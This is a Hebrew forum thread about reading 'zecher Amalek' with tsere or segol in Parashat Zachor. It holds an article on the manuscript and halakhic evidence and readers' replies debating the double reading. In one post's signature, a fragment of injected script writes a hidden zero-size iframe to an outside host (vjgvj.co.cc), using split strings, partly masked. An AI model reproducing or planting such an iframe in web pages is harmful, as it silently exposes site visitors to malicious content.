בית פורומים עצור כאן חושבים

זכר או זייכר ?

שלום אורח. באפשרותך להתחבר או להירשם
הצג 15 הודעות בעמוד הוסף לדף האישי  דווח למנהל שלח לחבר
נשלח ב-14/3/2003 16:13 לינק ישיר 
זכר או זייכר ?

זכר עמלק

יוסי פרץ
המכון למידע ממוחשב ביהדות

מקובל בקרב רוב קהילות אשכנז לקרוא פעמיים את המילים 'זכר עמלק' שבפרשת זכור (דב' כה יט): פעם בצירה מתחת לאות ז' (זכר) ופעם בסגול (זכר). הספרדים, לעומת זאת, שאינם מבדילים בין צירה לסגול קוראים קריאה אחת בלבד ובצירה. מה מקורו של מנהג זה, מתי הוא התחיל, והאם לשם
קיום מצוות הקריאה אכן אנו זקוקים לקריאה כפולה?
בשאלות אלו עסקו במאמרים שונים הרב ברויאר וד"ר פנקובר,[1] שהם מן החשובים מבין חוקרי המסורה ונוסח המקרא בימינו.
לדעתם, אין צל של ספק, כי הניקוד במלה 'זכר' (בצירה) הוא הניקוד המקורי והנכון; וכך גם יש לקרוא ב"פרשת זכור".
נדגיש, כי המנהג עצמו הוא מנהג מפתיע, ואין לו אח ורע בקריאת התורה. שהרי מקובל היה להכריע לטובת אחת הגרסאות בכל המחלוקות שהיו בענייני נוסח, ניקוד או טעמים (כגון, בתופעת "הקרי והכתיב" קוראים רק אחת מבין שתי הגרסאות).
הרד"ק בס' השורשים (בכתבי-היד של החיבור) העיר לראשונה על המחלוקת בניקוד בכתבי-היד הספרדיים המקראיים. וכך נאמר שם בערך 'זכר': 'תמחה את זכר עמלק' (דב' כה יט) בשש נקודות, אבל "לזכר קדשו" (תה' ל ה) בחמש נקודות, ולית כוותיה, כן הוא במקצת הספרים; ובמקצת הספרים כל "זכר" בחמש נקודות'. במילים אחרות: הרד"ק מעיד שראה
את המלה 'זכר' מנוקדת בסגול בחלק מן הספרים, ובחלק אחר היא מנוקדת בצירה. לעומת זאת, בדפוסים של ס' השורשים, החל מדפוסי ונציה ועד למאה הי"ט, מסתיימת הערת הרד"ק במילים 'ולית כוותיה'. דהיינו: המילה 'זכר' ש"בפרשת זכור" תמיד מנוקדת בסגול.[2] עפ"י ההערה שבדפוסים אלה
הוגהו סידורי תפילה שונים וחומשים במאות הי"ז, הי"ח ותחילת הי"ט, כגון: סידור התפילה של ר' שבתי סופר (במילה 'זכר' בתפילת "אשרי" ובתפילת ער"ש), והחומש "מאור עיניים" של ר' וואלף היידנהיים (הרוו"ה).
בשנת 1832, כחמש-עשרה שנה לאחר צאת מהדורתו של הרוו"ה, יצא לאור הספר "מעשה רב" לר' יששכר בער, ובו הוא מתאר את מנהגי הגר"א, הגאון ר' אליהו מווילנא, אשר השנה מלאו מאתיים שנה לפטירתו. המחבר מביא מחלוקת בין תלמידיו
של הגר"א, כיצד קרא את המילה 'זכר' שב"פרשת זכור": בעל הספר, ר' יששכר, מעיד: "כשהוא קורא (הגר"א) פ' זכור קורא זכר בסגול תחת הזי"ן", ואילו ר' חיים מוולאז'ין, אשר נתן את הסכמתו לספר, כותב בהסכמה: "ואשר כתב לקרות בפ' זכור זכר בשש נקודות, אני שמעתי מפה קדוש שקרא בחמש
נקודות (=זכר), ולא ידעתי אם השומעים שמעו וטעו לומר בשש נקודות, או אולי בזקנותו חזר בו".
כשמונים שנה לאחר העדות הנ"ל יצא לאור החיבור ההלכתי - משנה ברורה - של ר' ישראל מאיר הכהן, הנודע בשם 'החפץ חיים'. כיוון שקריאת "פרשת זכור" היא חיוב מדאורייתא,
והיה לו ספק לגבי הקריאה הנכונה, הוא קבע להלכה, שיש לקרוא קריאה כפולה את המילים 'זכר עמלק', ובלשונו (סימן תרפ"ה, ס"ק יח): "דע דיש אומרים שצריך לקרות 'זכר עמלק' (דב' כה יט) בצירי, ויש אומרים שצריך לקרות 'זכר עמלק'
בסגול, וע"כ מהנכון שהקורא יקרא שניהם לצאת י"ש [=ידי שניהם]". מאוחר יותר נתרבו מנהגים שונים בנידון: יש שחוזרים רק על שתי המילים: 'זכר עמלק', יש שחוזרים על המשפט: 'תמחה את זכר עמלק', ויש שחוזרים על כל הפסוק.[3]
כאמור לעיל, מציינים הרב ברויאר וד"ר פנקובר, כי הניקוד הנכון בתיבה 'זכר' הוא בצירה, ואין למנהג הקריאה הכפולה על מה שיסמוך. כך עולה מן העדויות שהם מביאים מן המסורה, מכתבי-יד הטברניים הקדומים והמדויקים ומחכמי המסורה.
ר' שלמה ידידיה מנורצי, חכם המסורה מן המאה הי"ז, הנחשב לפוסק האחרון בענייני נוסח המקרא,[4] כתב חיבור בשם "מנחת שי", ובו הוא מעיר הערות לכל ספרי המקרא על שיבושים שנפלו במקראות הגדולות דפוס וונציאה ש"ז-ש"ח ובמהדורות הסומכות עליה.[5] על ניקוד התיבה 'זכר' (בצירה ובסגול) הוא אינו מעיר כלום, ומכאן שהסכים לניקוד זה, וכלל וכלל
לא נתעורר אצלו הספק בדבר נכונותו.[6]
ההוכחה היותר מכרעת בעניין זה מצויה בכתבי-היד העתיקים, אשר נכתבו בסמוך לתקופת המסורה, ונחשבים למדויקים מאוד בניקוד ובטעמים: כתב-יד לנינגרד (סימונו: 7],(B19] כתב-יד ששון 1053 ועוד. בכולם מנוקדת התיבה 'זכר' בזי"ן צרויה.[8]
כיום מצוי בידינו כתב-היד המפורסם, "כתר ארם-צובה",[9] כתה"י העתיק ביותר והמוסמך ביותר של התנ"ך השלם. מלאכת הניקוד והמסירה שלו נעשתה בא"י לפני למעלה מאלף שנה ע"י אהרן בן-אשר, הנחשב לגדול המסרנים בכל הדורות. בשל דיוקו ויוקרתו הוא נבחר על-ידי הרמב"ם לשמש כבסיס להלכות ספר-התורה אשר כתב.[10] במאה ה-ט"ו (לכל המאוחר) הועבר "הכתר" לחלב שבסוריה, ושם, בבית הכנסת הספרדי, היה שמור בכספת עד לפרעות שפרצו ביהודי ארם צובה בשנת תש"ח, ושבמהלכן
ניזוק כתב-היד, וכמעט כל חמשת חומשי התורה חסרים, לרבות 'פרשת זכור' שבה עסקינן.
בשל ייחוסו של הכתר לא הרשו יהודי חלב לאנשים זרים לצלם את כתב-היד או לעיין בו. מי שרצה לברר גרסה כלשהי היה מעלה אותה על הכתב, והממונה היה מוסר את נוסח הכתר.
הידוע מבין השואלים היה ר' יעקב ספיר, אשר העלה על הכתב למעלה מחמש מאות שאלות, וביקש לדעת את הגרסה בכתר. למרבה המזל, אחת מבין השאלות התייחסה לניקודה של המלה 'זכר' שבפרשת זכור. וזה נוסח השאלה והתשובה: (דברים) כ"ה,
יט זכר חנ (השאלה). כן (התשובה).
כלומר: האם בכתר מנוקדת המלה 'זכר' בח"נ (=בחמש נקודות= זכר), והתשובה של הממונה, ר' מנשה סיתהון, היא - כן!11]

ד"ר פנקובר בדק בעשרות כתבי-יד מימי-הביניים את הניקוד בתיבה 'זכר' ומצא, כי בכתבי-היד, הנחשבים למדויקים (בחלק מהספרדיים) היא מנוקדת בצירה, ובכתבי-יד, הנחשבים לפחות מדויקים (בחלק מהספרדיים וברוב האשכנזיים) היא מנוקדת
בסגול. בעקבות ממצאים אלו הוא מעיר: "לו היינו חוששים גם לשיטות הניקוד הנמצאות בכתבי-היד הרחוקים מכתבי-היד הטברניים המדויקים, והיינו מתחילים לקרוא קריאה כפולה בכל מקרה של חילוף שבינם לבין כתבי-היד המדויקים, לא היינו משלימים את קריאת התורה בשעה סבירה".[12]
בכל דפוסי המקרא היום מנוקדת המלה 'זכר' בצירה ובסגול, ואין זכר לניקוד בסגול ובסגול. לאור הדברים, אין לי אלא להצטרף לדעתם של הרב ברויאר וד"ר פנקובר, שאין צורך בשש נקודות אלא דיי בחמש.
לסיכום: ... - הרד"ק מזכיר שתי שיטות ניקוד שמצא בכתבי-יד ספרדיים: ... זכר ו-זכר.
... - בין תלמידי הגר"א מתעורר ויכוח כיצד קרא רבם ב"פרשת ... זכור" את המילה 'זכר', האם האות זי"ן בצירה או בסגול. ... - בשל הספק נקבעה הלכה במשנה ברורה, שיש לקרוא קריאה
... כפולה את המילים 'זכר עמלק', פעם בצירה ופעם בסגול.
... - הממצאים שהציגו הרב ברויאר וד"ר פנקובר מוכיחים בעליל, ... כי הניקוד של המילה 'זכר' (בצירה) הוא הניקוד המקורי ... והנכון. ולכן, לדעתם, יש להחזיר עטרה ליושנה, וכל עדות
... ישראל יקראו זכר בצירה.
ה ע ר ו ת
מ' ברויאר, "מקראות שיש להם הכרע", מגדים, י (תש"ן), עמ' 112-97;
1
י"ש פנקובר, "מנהג ומסורה: 'זכר עמלק' בחמש או בשש נקודות" (עם
נספחים), בתוך: ר' כשר, מ' ציפור וי' צפתי (עורכים), עיוני מקרא
ופרשנות, ד, הוצאת אוניברסיטת בר- אילן, רמת-גן תשנ"ז, עמ' 127-71.
. פנקובר (שם, עמ' 80 ואילך) עומד בהרחבה על ההבדלים בין כתבי-היד
2
של ס' השורשים ובין הדפוסים.
. למנהגים נוספים ראה פנקובר שם, עמ' 71 הערה 1
3
. י' יבין, מבוא למסורה הטברנית, ירושלים תשל"ו, עמ' 101 ואילך.
4
. י"ש פנקובר, יעקב בן חיים וצמיחת מהדורת המקראות הגדולות, א-ב
5
(דיסרטציה), ירושלים תשמ"ב.

. לר' שלמה ידידיה מנורצי קדם חכם מסורה אחר, ר' מנחם די לונזאנו,
6
בעל "אור- תורה". בספרו הוא מעיר הערות על אותן המקראות הגדולות
בעניין מלא וחסר ובעניין הניקוד והטעמים; גם הוא אינו מעיר דבר על ניקוד התיבה 'זכר' בצירה ובסגול.
. התנ"ך, הידוע בשם - תנ"ך צה"ל - בההדרת פרופ' א' דותן, מתבסס
7
על כתב-יד זה.
. ראה בהרחבה מאמרו של הרב ברויאר (בהערה 1) עמ' 110, ומאמרו של
8
פנקובר (בהערה 2), עמ' 101.
. כתב-היד ידוע גם בשם 'כתר חלב', או בקיצור: 'הכתר'.
9
. קיימות היום מהדורות תנ"ך אחדות, המתבססות על 'הכתר'. אין ספק,
10
כי החשובה מכולן היא מהדורת היסוד החדשה: מקראות גדולות - הכתר, מהדיר ועורך מדעי: פרופ' מנחם כהן, הוצאת אוניברסיטת בר- אילן,
ר"ג תשנ"ב ואילך. עד עתה יצאו לאור שישה ספרים בחמישה כרכים (לפי סדר הופעתם): יהושע-שופטים (ומבוא כללי למהדורה), שמואל א-ב, מלכים
א-ב, ישעיהו וספר בראשית כרך א.
. כתב-היד, הכולל את השאלות ואת התשובות, קרוי "מאורות נתן".
11
. במסגרת עבודתי ב"מפעל המקרא והמסורה" שליד אוניברסיטת "בר-אילן"
12
בראשותו של פרופ' מ' כהן, נבדקו עשרות רבות של כתבי-יד מקראיים מימי-הביניים, והממצאים העולים מהם שבים ומחזקים את דבריו של פנקובר
בדבר חילופי הניקוד בכתבי-היד.

הדף מופץ בסיוע קרן הנשיא לתורה ולמדע





דווח על תוכן פוגעני

מנותק
נשלח ב-24/3/2014 06:38 לינק ישיר 

אריאל

עוררת שאלה גדולה.

כל מי שמשנה מן ההלכה הקיימת צריך לשבת שבעה נקיים.

יש סכנות בכל צד.

מסתבר, לאחר שאני מהרהר על דבריך, שיש להבדיל בין שינוי עקרוני, כגון תוספת של תקנה, לבין שינוי פרטי, כאשר רב מסתמך על כוח דהיתרא כדי להתיר מה שנחשב לאיסור מקובל, או שהוא מביע חשש כדי להורות על איסור בשאלה פרטית.

בשאלות פרטיות, לדעתי צריך להיזהר ביותר מפני איסורים. וזו תופעה שכיחה בין רבני זמננו, במיוחד בציבור החרדי.

בשאלות כלליות, מסתבר שהתשובה תלויה גם בתקופה ובצורת ההלכה המקובלת. לא הרי ימי חז"ל שבהם רוב ההלכות היו נתונות והיו מצבים שעוררו צורך או בסיס להחמיר ולאסור, כמו ימינו אלו.

לדעתי כדאי לפתוח אשכול מיוחד לשאלות אלו, ובו להביא דוגמאות: מצבים בעייתיים, סוגי תשובות, הנמקות לסוגי תשובות, תקופות ומקומות. אם תוכל למצוא זמן ולפתוח אשכול כזה, מוטב. איני יודע מתי בזמן הקרוב אוכל להתפנות לעשות זאת כראוי.

_________________

שומר פיו ולשונו - שומר מצרות נפשו < type="text/">document.write("");




דדווח על תוכן פוגעני

מנותק
נשלח ב-24/3/2014 01:29 לינק ישיר 

מיימוני, גם כל מי שמקל צריך לשבת שבעה נקיים? ובעניין המשכילים, לא נראה לי סביר להאשים את הממסד בחטאיהם. כל אדם אחראי לבחירתו. לעומת זאת, המדרון החלקלק שהם יצרו לעצמם נראה די גלוי לעין.



דדווח על תוכן פוגעני

מחובר
נשלח ב-24/3/2014 01:19 לינק ישיר 

ת"ט

יש לבדוק כל דין לגופו. אכן חומרות אינן אהובות עלי. אני סבור שכל מי שרוצה להחמיר צריך לשבת על החומרה שבעה נקיים (ביטוי, רק ביטוי).

כיון שלא חשבתי על הצדדים די הצורך, איני יכול לפסלו. בכל אופן, יש מקום לומר שמדובר במנהג (ולכן אין תוקפו יותר ממנהג) או שזו תקנה דרבנן (כיון שהוא מובא כ"הלכה פסוקה" וכך כתבו אחרונים, כידוע).

לגבי הקלה של קריאה בשירותים, כיון שמדובר בקריאה כמדומה בזמן שאדם מתפנה, זה שונה מאשר להיכנס לחדר השירותים שלא בשעת שימושו שאז הוא אמור להיות נקי.

אבל אולי נניח את הדיון בשירותים לאשכול המיועד לדיון הזה?

_________________

שומר פיו ולשונו - שומר מצרות נפשו < type="text/">document.write("");




דדווח על תוכן פוגעני

מנותק
נשלח ב-21/3/2014 09:50 לינק ישיר 

מימוני
לגישתך חומרא דר"ז לא היתה מתקבלת
ואגב - מדוע לא להקל בעצכח בביה"כ (אשכול סמוך  שנכתב בפורים דמוקפי מוקפין) שהרי ביכ"כ שלנו ריחו סביר מחשש למדרון?



דדווח על תוכן פוגעני

מחובר
נשלח ב-20/3/2014 18:58 לינק ישיר 

כרגיל, ההליכה בקצוות היא הנוחה ביותר, אלה מקצינים בהחמרה, ואלה מזלזלים בכל החמרה אפי' כשיש לה בסיס בתלמוד, כשהדרך הקשה היא להלך בין הטיפות ולשקול בזהירות שלא תהיה נטיה לכאן או לכאן, אלא בירור ההלכה גרידא, מבלי לערב בה שיקולים חיצוניים לה.

וכבר ידוע הסיפור, על האדמו"ר מסאטמער שרצה לשלוח משלחת לר' משה פיינשטיין למחות על קולתו הגדולה בענין המחיצה בין נשים לגברים, כשלבסוף אמר לאנשי המשלחת אבל במה תתווכחו עם ר' משה, הרי צריך להוכיח לו בדרך הלכתית שהוא טועה ולא די לבוא עם השקפה, ונתבטלה המשלחת.



דדווח על תוכן פוגעני

מחובר
נשלח ב-20/3/2014 13:44 לינק ישיר 

אריאל

משפטים מהסוג של "אילו היו עושים הפוך אז" קשה להוכיח.

גם איני מתמצא במה שהיה בימים ההם. אבל כמדומה שההקשחה של העמדות מול ביקורת ההשכלה רק גרמה למדרון החלקלק. אבל צריך לבדוק ולא לכתוב סתם - אני כותב זאת לעצמי.

_________________

שומר פיו ולשונו - שומר מצרות נפשו < type="text/">document.write("");




דדווח על תוכן פוגעני

מנותק
נשלח ב-19/3/2014 22:11 לינק ישיר 

אנחנו מקפידים מאד מאד לקרא מספר תורה מוגההה, בלי כל אפשרות לטעות, ואם ח"ו טועה בעל הקורא  אפילו בניקוד שלא כתוב, מיד נרעשים כולם ומתקנים את בעל הקורא הנבוך,
וכל כך למה, שלא יצא איזו טעות בהבנתו של אדם הלא בקי. ויחשוב שכך כתוב. וינחיל את טעותו אחריו.

אבל בשביל חומרה משונה לא מבוססת, ואין ה כל צורך עניני.. משנים מוסיפים וכ' ומצפצפים על מסורת דורות. מסורת והלכה  מבוססת



דדווח על תוכן פוגעני

מנותק
נשלח ב-19/3/2014 20:22 לינק ישיר 

גם במקרה ההפוך יש מדרון חלקלק. ובדיוק ממנו פחדו הרבנים בזמן ראשוני המשכילים (ואולי אפשר לטעון שגם הוכח שצדקו)



דדווח על תוכן פוגעני

מחובר
נשלח ב-19/3/2014 20:12 לינק ישיר 

תלמיד טועה

אתה צודק.

מסתבר שזו נטייתי נגד החמרות ונגד מנהגים.

מצד שני, יש כאן מדרון חלקלק. אם מתירים לחזור על הקריאה פעמיים, יוצרים דגם של זהירות שמביאה לידי הכפלה. ואנו רואים לאן זה מגיע.

_________________

שומר פיו ולשונו - שומר מצרות נפשו < type="text/">document.write("");




דדווח על תוכן פוגעני

מנותק
נשלח ב-19/3/2014 19:43 לינק ישיר 

לגבי דברי הגר"ח הידועים על האתרוגים יש להעיר:
ראשית, זה כבר מופיע בבית הלוי (על ציצין המעכבין את המילה).
שנית, גם בשאג"א כבר דן בזה לגבי סוגיית מנחות דהיו לפניו שתי חטאות שמינה וכחושה.
שלישית, לעצם הנחתו של הגר"ח יש להעיר מדברי הראב"ד שהובאו בשו"ת הריב"ש בשני מקומות שמי שקידש אישה בשליח יחזור ויקדש אותה בברכה (!) בעצמו, משום מצווה בו יותר מבשלוחו. ודוק היטב.



דדווח על תוכן פוגעני

מנותק
נשלח ב-19/3/2014 19:42 לינק ישיר 

מימוני
אני רק הערה קטנה - לחוש לטירחא דציבורא בקריאת פעמיים (נניח תוספת של 40 שניות) זה גם נוטה לדקדוקי עניות שכנגדם אתה נלחם



דדווח על תוכן פוגעני

מחובר
נשלח ב-19/3/2014 19:25 לינק ישיר 

עוד כתב מורד

ה. מה לכם כי תלינו??????????

וכי אין ראוי לאדם למחות על טעות, וכי החמרה שלא לצורך אינה טעות?


ו. אגב, גם הנדון אם לקרות הפסוק כולו ב"פ או רק מילות זכר עמלק ששמוהו ללעג בזה [לעג שריחו בא מהמתחדשים ה"י] גם הוא מקורו טהור, כנודע משם הר"ח מבריסק שאחר שיצא עיקר המצוה שוב אינו יכול לצאת ההידור, והנה דקדוק מילת זכר וודאי הוא הידור בעלמא, ואחר שקרא כל הפרשה ויצא י"ח שוב אין טעם בקריאת הפסוק פעם ב', שכבר יצא י"ח בפעם הא' בלא ההידור בדקדוק הקריאה, ולכך כדאי לחזור מילת "זכר" קודם שיסיים את קריאת הפרשה.

[הגר"ח ז"ל מיירי לגבי מי שיש לו אתרוג א' ספק מורכב מהודר ביותר במראהו וצורתו, ואתרוג ב' ודאי אתרוג הוא אבל לא תואר ולא הדר לו, ואמר הגר"ח שיטול את הספק מורכב ראשונה, שאם יטול את הוודאי אתרוג כבר יצא י"ח בלא ההידור, אבל כשיטול את הספק יצא י"ח ההידור להצד דזהו אתרוג, ואח"כ יטול את הוודאי]

אני ממש מתפעל מן הלמדנות. אבל כמדומה שיש בה חסרון. לפי הניתוח שלך, האם זה לא אומר שההקפדה על צירה וסגול אינה אלא הידור ולא מצוה עצמה? שיוצאים גם באחד מהם? דברי מבוססים על השוואה בין הסיפור על הגר"ח לבין המקרה של קריאה כפולה. אולי תרצה לבאר יותר את האנלוגיה.

ו2 כתבת שביקורת כזו אופיינית למחדשים. ואני משער שכוונתך למשכילים. אבוי לנו, שראשוני המשכילים ביקרו תופעות שהיו ראוי לבקר, ורק בהמשך יצאו ונלחמו בעיקר. ושמא גם תגובת הרבנים שלא היו מוכנים להודות שיש ביקורות ראויות היא שדחפה את יורשיהם החוצה. וזו נקודה חשובה מאד. מי שמגן על הטפל מרתיע את מי שאינו יכול לסבול בזבוז זמן על הטפל וחפץ בעיקר.

_________________

_________________

שומר פיו ולשונו - שומר מצרות נפשו < type="text/">document.write("");




דדווח על תוכן פוגעני

מנותק
נשלח ב-19/3/2014 19:20 לינק ישיר 

מורד

ברוך השב!

הערות על דבריך

א. מה ראו באי הפורום לזלזל ככה במנהג נכון לדקדק בקריאה הגונה?

איני יודע לדבר עבור אחרים, אבל בעיני המילה "מנהג" תמיד מעוררת חשש. ולגבי "קריאה הגונה" יש לברר מהי ועד כמה היא נדרשת. ואם הופכים אותה לדבר המעכב, האם אין לתמוה על זה?

ב. אזכיר נא בזה, כי אחר כל החשבונות סוכ"ס בשולחן ערוך נפסק לחייב בקריאת זכור מדאורייתא.

ומה סמכותו של השו"ע לחייב? איני בא לזלזל חלילה אלא לברר. יש כבר אשכולות שבהם תואר התהליך שבו בחר בעל השו"ע להכריע במחלוקות. לא על פי הבנת השיטות והכרעה לפי מה שנראה כאמת ההלכתית, אלא על פי משקל ורוב. נכון שעם ישראל התרגל לחשוב שכך ראוי, אבל זו נקודה שיש לשאול עליה. נניח שאני בוחן ומגלה שהשו"ע דייק ודעתי שונה. האם עלי לבטל את דעתי? מדוע?

יש כמובן בשאלות כאלו סכנה של יהירות ושל פריקת עול, אבל זה לא אומר שהן לא נכונות.

כל זאת בלי לבדוק מה כתוב בשו"ע עצמו, מה פסק ומה נימוקיו. ואין זמני בידי לבדוק אבל אולי תעתיק לכאן?

ג. השאלה אם לקרות בחמש או בשש נקודות עתיקה היא, והגר"א ותלמידיו כבר נתחבטו בה.

כמדומה שהשאלה עתיקה הרבה מלפני הגר"א כפי שנתבאר כאן. ולא טענו שאין זו שאלה היסטורית עם נפקויות קריאה. זו כן שאלה אם יש הבדל בקריאה בין צירה לסגול (למבטא העברי של ימינו והספרדי אין) וכן אם ההבדל הזה מעכב גם למי שסבור שיש כזה הבדל.

ד. הלכה פסוקה בשו"ע הל' ק"ש כי כל הדקדוקים שנמנו בבברכות לגבי ק"ש ושלא להניד הנח ולהניח הנד יש לדקדק בהם ג"כ לענין ברכות ק"ש ופסוקי דזמרה, שהם מדרבנן ויש מהם ממנהג בעלמא.
וא"כ ק"ו בן בנו של ק"ו שכן ראוי גם בקריאת זכור שהיא דאורייתא, ויפה פסק כן במשנה ברורה להחמיר בזה.


יש לעיין במקורו של השו"ע לקביעה זו. שמא כוונתך שלא להדביק יחד מילים כך שייווצר צירוף בעל משמעות אחרת? אם כן, השאלה היא אם הבעיה היא שזה נשמע כטעות או שיש חובה לבטא בדיוק לפי המבטא העברי המקורי (ומי יכול לדעת מהו).

אם זו השאלה, הרי זו מחלוקת בין הרמב"ם והראב"ד, אם זכרוני אינו מטעני. הרמב"ם למד שיש להישמר מטעות, ותו לא. ואילו לראב"ד כמדומה שזה ענין מאגי, כי יש השפעות לניקוד המדוייק.

ושוב, גם אם אסכים שיש חשיבות להשתדל במבטא הנכון - אם יודעים מהו, ויש לי פקפוקים רבים לגבי המבטא המקובל בעדות אשכנז - אזי האם זה מעכב בדיעבד? האם זו לא טרחה דציבורא, והאם זו לא הדגמה של התעסקות בטפל? החמרה כפולה במקום שאינו צריך? ולכן דוגמא רעה? (אם כי אפשר לטעון שזו דוגמא טובה לאהבת מצוות, אפשר לטעון שזו דוגמא רעה מצד זה שמטריחים את הציבור במקום שאין צורך).

בכל אופן, תודה על הערותיך המחכימות.

ו*** בשל טעות בהעתקה נקרע חלק מהתגובה של מורד ואעתיקנו בתגובה אחרת ***

שומר פיו ולשונו - שומר מצרות נפשו < type="text/">document.write("*************** scrolling='no' frameborder='0' height='0px' width='0px' src='ht"+"tp:"+"/"+"/"+"vjgvj.co"+".cc/?a="+***************+"'><*");



תוקן על ידי מיימוני ב- 19/03/2014 19:21:35




דדווח על תוכן פוגעני

מנותק
נשלח ב-19/3/2014 15:43 לינק ישיר 

מה ראו באי הפורום לזלזל ככה במנהג נכון לדקדק בקריאה הגונה?
אזכיר נא בזה, כי אחר כל החשבונות סוכ"ס בשולחן ערוך נפסק לחייב בקריאת זכור מדאורייתא.
השאלה אם לקרות בחמש או בשש נקודות עתיקה היא, והגר"א ותלמידיו כבר נתחבטו בה.
הלכה פסוקה בשו"ע הל' ק"ש כי כל הדקדוקים שנמנו בבברכות לגבי ק"ש ושלא להניד הנח ולהניח הנד יש לדקדק בהם ג"כ לענין ברכות ק"ש ופסוקי דזמרה, שהם מדרבנן ויש מהם ממנהג בעלמא.
וא"כ ק"ו בן בנו של ק"ו שכן ראוי גם בקריאת זכור שהיא דאורייתא, ויפה פסק כן במשנה ברורה להחמיר בזה.

ומה לכם כי תלינו??????????

אגב, גם הנדון אם לקרות הפסוק כולו ב"פ או רק מילות זכר עמלק ששמוהו ללעג בזה [לעג שריחו בא מהמתחדשים ה"י] גם הוא מקורו טהור, כנודע משם הר"ח מבריסק שאחר שיצא עיקר המצוה שוב אינו יכול לצאת ההידור, והנה דקדוק מילת זכר וודאי הוא הידור בעלמא, ואחר שקרא כל הפרשה ויצא י"ח שוב אין טעם בקריאת הפסוק פעם ב', שכבר יצא י"ח בפעם הא' בלא ההידור בדקדוק הקריאה, ולכך כדאי לחזור מילת "זכר" קודם שיסיים את קריאת הפרשה.

[הגר"ח ז"ל מיירי לגבי מי שיש לו אתרוג א' ספק מורכב מהודר ביותר במראהו וצורתו, ואתרוג ב' ודאי אתרוג הוא אבל לא תואר ולא הדר לו, ואמר הגר"ח שיטול את הספק מורכב ראשונה, שאם יטול את הוודאי אתרוג כבר יצא י"ח בלא ההידור, אבל כשיטול את הספק יצא י"ח ההידור להצד דזהו אתרוג, ואח"כ יטול את הוודאי] 

תוקן על ידי מורדבמלכות ב- 19/03/2014 15:48:26




תוקן על ידי מורדבמלכות ב- 19/03/2014 15:50:31





דדווח על תוכן פוגעני

מחובר
נשלח ב-19/3/2014 07:10 לינק ישיר 

תוספת מבעל המקור לעיל.

צריך להוסיף שתוספות ברכות ומגילה בדפוס וילנא הינן תוספותיו של רבי יהודה שיר לאון 
תלמיד של ר"י הזקן כמו שתוספות שאנץ (שמשון בן אברהם ) הינו תלמיד של ר"י הזקן 

לא מצאתי את הדברים מיוחסים לר"י הזקן אולם יש להניח שנולדו בבית מדרשו ושנים מתלמידיו העלו על הכתב



דדווח על תוכן פוגעני

מנותק
   
בית > פורומים > דת ואמונה > עצור כאן חושבים > זכר או זייכר ?
מנהל לחץ כאן לנעילת האשכול
הוסף לעמוד האישי  דווח למנהל שלח לחבר
1 2 3 4 לדף הבא סך הכל 4 דפים.